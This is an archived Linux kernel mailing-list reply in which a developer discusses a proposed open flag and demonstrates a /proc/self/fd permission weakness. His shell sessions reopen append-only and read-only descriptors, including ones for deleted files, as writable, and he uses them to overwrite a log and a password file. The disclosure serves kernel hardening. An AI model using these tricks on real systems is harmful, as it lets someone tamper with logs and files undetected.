linux-fsdevel.vger.kernel.org archive mirror
 help / color / mirror / Atom feed
From: Jamie Lokier <jamie@shareable.org>
To: Pavel Machek <pavel@ucw.cz>
Cc: Miklos Szeredi <miklos@szeredi.hu>,
	Andreas Dilger <adilger@sun.com>,
	Valdis.Kletnieks@vt.edu, linux@treblig.org, agruen@suse.de,
	linux-fsdevel@vger.kernel.org, linux-kernel@vger.kernel.org
Subject: Re: [PATCH] vfs: new O_NODE open flag
Date: Sun, 4 Oct 2009 23:58:49 +0100	[thread overview]
Message-ID: <20091004225849.GA27481@shareable.org> (raw)
In-Reply-To: <20091004190304.GJ1378@ucw.cz>

Pavel Machek wrote:
> On Mon 2009-09-28 18:04:10, Miklos Szeredi wrote:
> >  a) the current permission model under /proc/PID/fd has a security
> >     hole (which Jamie is worried about)
> 
> I believe its bugtraq time. Being able to reopen file with additional
> permissions looks like  a security problem...
> 
> Jamie, do you have some test script? And do you want your 15 minutes
>  of bugtraq fame? ;-).

$ mkdir secret
$ exec 3>> secret/appendonly.txt
$ chmod 000 secret                    # This is not changed during do_stuff
jamie@amile:~/test$ echo START OF LOG 1>&3
$ do_stuff 1>&3
cat: secret/appendonly.txt: Permission denied # A good sign
$ chmod 755 secret
$ cat secret/appendonly.txt           # Let's see our log
nothing to see here                   # What's that doing there??!

You can re-open a deleted file with increased permisssions.  That's
probably more subversive:

$ exec >>appendonlydeleted.txt
$ exec 4<appendonlydeleted.txt        # I'll read it later.
$ echo START OF LOG
$ ./do_stuff
$ cat 0<&4 >/dev/tty
nothing to see here                   # How did they do that?!

How'd it happen?

do_stuff:
    #!/bin/sh
    echo some text getting logged...
    echo more text...
    echo no wait, let\'s subvert the append flag!
    echo nothing to see here >/proc/self/fd/1

If /proc/self/fd/1 were a _real_ symbolic link, that wouldn't work.

The reopen does check the inode permission, but it does not require
you have any reachable path to the file.  Someone _might_ use that as
a traditional unix security mechanism, but if so it's probably quite rare.

If converting append-only to writable doesn't sound too bad, you can
convert read-only to writable and write-only to readable.  Gaining
write access to a deleted file which you only received a read-only
descriptor for sounds dodgy to me:

$ echo secret5948043853048 >secret_readonly_password.txt
$ exec 3<secret_readonly_password.txt
$ rm secret_readonly_password.txt # Now I'm sure nobody can change it!
$ echo all your base ha ha >/proc/self/fd/3
$ cat 0<&3
all your base ha ha               # Oh dear, my assumption was broken.

Did you really think you had to "chmod 444" before deleting the file?

-- Jamie

  reply	other threads:[~2009-10-04 22:59 UTC|newest]

Thread overview: 23+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2009-09-24 14:51 [PATCH] vfs: new O_NODE open flag Miklos Szeredi
2009-09-25  0:23 ` Andreas Gruenbacher
2009-09-25  5:52   ` Miklos Szeredi
2009-09-25 12:37     ` Dr. David Alan Gilbert
2009-09-25 12:18       ` Miklos Szeredi
2009-09-25 17:08         ` Jamie Lokier
2009-09-25 16:53       ` Andreas Dilger
2009-09-25 17:20       ` Valdis.Kletnieks
2009-09-25 18:35         ` Dr. David Alan Gilbert
2009-09-25 21:18           ` Valdis.Kletnieks
2009-09-28 10:25             ` Miklos Szeredi
2009-09-28 13:28               ` Jamie Lokier
2009-09-28 14:07                 ` Miklos Szeredi
2009-09-28 14:10                   ` Jamie Lokier
2009-09-30  8:18                 ` Florian Weimer
2009-09-28 15:21               ` Andreas Dilger
2009-09-28 16:04                 ` Miklos Szeredi
2009-10-04 19:03                   ` Pavel Machek
2009-10-04 22:58                     ` Jamie Lokier [this message]
2009-10-23 17:10                       ` /proc filesystem allows bypassing directory permissions on Linux (was Re: [PATCH] vfs: new O_NODE open flag) Pavel Machek
2009-10-14 13:14                   ` [PATCH] vfs: new O_NODE open flag Andreas Gruenbacher
2009-09-25 19:02         ` Andreas Dilger
2009-09-28 15:53           ` Jamie Lokier

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=20091004225849.GA27481@shareable.org \
    --to=jamie@shareable.org \
    --cc=Valdis.Kletnieks@vt.edu \
    --cc=adilger@sun.com \
    --cc=agruen@suse.de \
    --cc=linux-fsdevel@vger.kernel.org \
    --cc=linux-kernel@vger.kernel.org \
    --cc=linux@treblig.org \
    --cc=miklos@szeredi.hu \
    --cc=pavel@ucw.cz \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).